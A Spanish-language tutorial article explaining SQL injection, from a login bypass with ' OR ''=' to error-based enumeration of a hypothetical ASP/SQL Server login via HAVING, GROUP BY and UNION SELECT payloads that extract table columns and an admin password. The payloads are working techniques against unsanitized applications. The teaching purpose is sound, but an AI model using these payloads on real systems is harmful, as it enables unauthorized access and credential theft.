|
En este texto se explica como aprobechar la vulnerabilidad de sql injection para saltarse un formulario de peticion de usuario y contrasea.
Sólo me fío de las estadísticas que he manipulado (Winston Churchill) No es tan difícil manipular las estadísticas; a veces es mucho más fácil de lo que parece. Si una persona tiene dos euros y otra persona no tiene ninguno, la estadística afirmará que tienen un euro cada una. Sin embargo, y a pesar de los extraños resultados que nos pueda aportar la estadística a un problema dado, deberíamos confiar en sus resultados, siempre y cuando estemos seguros de que no han sido manipulados. En el mundo informático sucede exactamente lo mismo: podemos confiar en los resultados proporcionados por un ordenador siempre que sepamos que nadie lo ha manipulado. Pero, ¿cómo saberlo a ciencia cierta?
Podríamos describir un proceso informático como una transformación de datos para obtener información; proporcionamos datos a un ordenador que los transforma y los convierte en información útil. Pero ¿qué ocurre cuando los datos que le proporcionamos a un ordenador son incorrectos o, peor aún, han sido manipulados?
Los ordenadores pueden incorporar sistemas para detectar la manipulación de datos y evitar resultados impredecibles. Implementar estos sistemas puede resultar tedioso, ahora bien, no implementarlos puede resultar peligroso. Y es de esto precisamente de lo que les voy a hablar en esta serie de artículos: la peligrosidad de obviar los datos manipulados.
Aunque se que va a resultar difícil, voy a intentar que sea un articulo al alcance de todo el público. A pesar de que un conocimiento de SQL seria recomendable, si no sabe nada sobre bases de datos no se preocupe: lo importante no es comprender todo el proceso, sino llegar a entender la peligrosidad subyacente a una mala programación. Empecemos pues
SQL es la abreviatura de Structured Query Language, un lenguaje textual que se usa para interactuar con bases de datos. Una sentencia SQL simple puede ser:
SELECT * FROM Alumnos
Si ejecutamos esta sentencia, obtendríamos toda la información de la tabla ALUMNOS. Podríamos ser más específicos y obtener sólo la información de los alumnos con se apelliden Pérez:
SELECT * FROM Alumnos WHERE Apellido = 'Pérez'
Imagínense una pagina en Internet donde podemos obtener información sobre los resultados académicos de los alumnos. La página consta de un formulario donde introducimos el nombre y apellido del alumno y el servidor nos devuelve la información de ese alumno concreto. Supongamos que queremos obtener información sobre el alumno Juan Pérez. La sentencia SQL a ejecutar sería:
SELECT * FROM Alumnos WHERE Nombre = 'Juan' AND Apellido = 'Pérez'
Evidentemente, nosotros hemos rellenado el formulario con los datos Juan y Pérez y el servidor ha construido la sentencia SQL y la ha ejecutado, devolviéndonos toda la información sobre el alumno Juan Pérez.
Supongamos que en vez de introducir "Juan" y "Pérez" usamos los valores "Ju'an" (nótese la comilla simple en el nombre) y "Pérez". Entonces, el servidor ejecutaría la sentencia:
SELECT * FROM Alumnos WHERE Nombre = 'Ju'an' AND Apellido = 'Pérez'
Imagino que se habrán dado cuenta de que la sentencia es incorrecta. Si ustedes no lo han percibido, el servidor les advertirá de su error devolviendo un mensaje similar a:
Line 1: Incorrect syntax near 'an'.
Las comillas simples (') se utilizan en las sentencias SQL para separar la información de los comandos. En este caso, la introducción de una comilla simple en uno de los campos ha alterado la sentencia SQL de tal modo que el servidor no la ha podido entender. Si somos un poco avispados, podríamos usar este factor a nuestro favor para obligar al servidor a hacer lo que nosotros queramos.
Un ejemplo un poco mas práctico sería el siguiente. Tenemos un formulario que nos pide que introduzcamos un nombre de usuario y una contraseña. El servidor ejecuta una sentencia SQL para verificar que existe el usuario y que su contraseña es la que hemos introducido. Por ejemplo, la sentencia SQL podría ser:
SELECT * FROM Usuarios WHERE Username = 'usuario' AND Password = 'contraseña'
Utilizando nuestros conocimientos anteriores, podríamos modificar la sentencia para que juegue a nuestro favor. Supongamos que conocemos la existencia de un usuario llamado admin y queremos entrar en el sistema usando sus credenciales. Evidentemente, desconocemos su contraseña, pero podría ser subsanable. Vamos a utilizar como contraseña ' OR ''=' (nótense las comillas simples) para modificar la sentencia y convertirla en:
SELECT * FROM Usuarios WHERE Username = 'admin' AND Password = '' OR ''=''
Probablemente la contraseña del usuario no sea nula (''), pero hemos modificado la sentencia para que nos devuelva el usuario gracias a la introducción del parámetro OR que compara la expresión '' = ''. Lógicamente '' = '' es verdadero, así que el servidor nos permitirá la entrada.
A pesar de que poder acceder a una página Web sin proveer la contraseña correcta es un error enorme, las posibilidades de inyección de código SQL van mucho más allá. De todas las posibilidades les hablaré en las próximas entregas y también de cómo solucionar estos problemas. De momento, si quieren leer un poco más, les recomiendo un texto que he escrito hace algún tiempo:
Verificando lo que introduce el usuario: http://www.kamborio.com/?Section=Articles&Mode=select&ID=12
Está claro que, como norma general, siempre desconoceremos la estructura de la base de datos, lo cual trunca un poco nuestras expectativas. Pero como decía al principio, formulando las preguntas adecuadas podremos obtener todos esos detalles.
Para poder aplicar el método de la mayéutica son necesarias dos cosas: un maestro que sepa formular las preguntas y un alumno que tenga la suficiente fuerza de voluntad para buscar en su interior las respuestas. Con su permiso, yo voy a ejercer de maestro, y mi alumno aplicado va a ser un servidor SQL. Por supuesto ustedes también serán mis alumnos, pero lo que les diferencia a ustedes de un servidor SQL es la sencilla razón de que un servidor SQL nunca se convertirá en maestro. Empecemos pues.
Fijemos el escenario: una aplicación web programada en VBScript accede a una base de datos almacenada en un servidor Microsoft SQL Server. La aplicación requiere un nombre de usuario y una contraseña para acceder. Además, sabemos que la aplicación no efectúa una comprobación de los datos que introduce el usuario.
Para empezar introducimos como nombre de usuario:
' HAVING 1=1--
Lo cual producirá un error y el servidor nos devolverá:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Column 'Usuarios.ID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 17
Como buen alumno, el servidor SQL nos da la respuesta adecuada a nuestra pregunta. El uso de la comilla simple (') en el nombre de usuario nos ha permitido modificar la sentencia SQL para poder usar "HAVING". La secuencia de caracteres "--" se usa para indicar que lo que sigue a continuación es un comentario de una sola línea y en consecuencia el servidor ignorará lo que siga.
Si la sentencia original fuera:
SELECT * FROM Usuarios WHERE Username = '' AND Password = ''
La modificación que hemos efectuado la habría convertido en:
SELECT * FROM Usuarios WHERE Username = '' HAVING 1=1--' AND Password = ''
La modificación de esta sentencia nos ha proporcionado dos respuestas: el nombre de la tabla (Usuarios) y el nombre de uno de los campos de la tabla (ID).
La siguiente pregunta la formularemos introduciendo en el nombre de usuario:
' GROUP BY Usuarios.ID HAVING 1=1--
Lo cual producirá un nuevo error y el servidor nos devolverá:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Column 'Usuarios.Username' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 17
Otra respuesta del servidor que nos proporciona otro de los campos de la tabla Usuarios (Username).
Podemos continuar haciendo preguntas hasta que lleguemos a introducir como nombre de usuario:
' GROUP BY Usuarios.ID, Usuarios.Password, Usuarios.Privilege HAVING 1=1--
Este nombre de usuario no producirá ningún error porque es equivalente a haber modificado la sentencia SQL por:
SELECT * FROM Usuarios WHERE Username = ''
Llegado este punto ya conocemos todos campos de la tabla usuarios (ID, Username, Password y Privilege) e incluso el orden.
Otra información que estamos interesados en conocer es el tipo de datos que se albergan en cada campo. Para ello formularemos nuevas preguntas. Como nombre de usuario utilizaremos:
' UNION SELECT SUM(Username) FROM Usuarios--
Y el servidor nos devolverá:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/login.asp, line 17
Como buen alumno, el servidor nos ha facilitado el tipo de dato que se aloja en los campos Username (varchar, es decir, caracteres alfanuméricos). La función SUM() intenta sumar todos los resultados de la sentencia, pero esta suma no puede efectuarse a menos que los resultados sean numéricos; por eso se produce el error.
Hasta ahora, las preguntas que hemos formulado nos han facilitado información acerca de la estructura de la base de datos pero todavía no nos han revelado nada acerca del contenido de la base de datos. Ahora que conocemos parte de la estructura de la base de datos, conseguir la información contenida en ella es relativamente fácil. Para ello, y como hemos venido haciendo hasta ahora, introducimos el siguiente nombre de usuario:
' UNION SELECT MIN(Username),1,1,1 FROM Usuarios WHERE Username > 'a'--
Para que el UNION SELECT se pueda ejecutar es necesario facilitar tantos valores como campos tiene la tabla. Como la tabla contiene 4 campos se hace necesaria la introducción de 4 valores, que en este caso han sido "unos". Además en este ejemplo la cláusula WHERE provoca que la sentencia nos devuelva el primer usuario que empiece por la letra "a". El mensaje de error del servidor nos indica que no se puede pasar un campo de tipo varchar a la función MIN().
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/login.asp, line 17
Y, cómo no, podemos probar lo mismo para averiguar la contraseña. Usando como nombre de usuario:
' UNION SELECT MIN(Password),1,1,1 FROM Usuarios WHERE Username = 'admin'--
Obtenemos el siguiente error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting the varchar value 'getmein' to a column of data type int.
/login.asp, line 17
Ahora ya conocemos el nombre de usuario (admin) y su contraseña (getmein). Si fuéramos los protagonistas de una película, estaríamos viendo la escena en la cual aparecen en la pantalla del ordenador unas letras muy grandes de color rojo en las que se puede leer: "Access granted". No se crean ustedes todo lo que ven en las películas.
La mayéutica es todo un arte que sigue vigente en la actualidad. Profesionales de todas las ramas utilizan este método para resolver los problemas diarios: abogados, detectives, programadores... Y como dije al principio, lo difícil no es encontrar las respuestas, sino formular las preguntas correctas.
Por cierto, mayéutica es una palabra que proviene del griego y se usaba para referirse al arte de de las comadronas que ayudaban en el alumbramiento. La propia madre de Sócrates era una comadrona. De raza le viene al galgo.
David A. Pérez http://www.kamborio.com |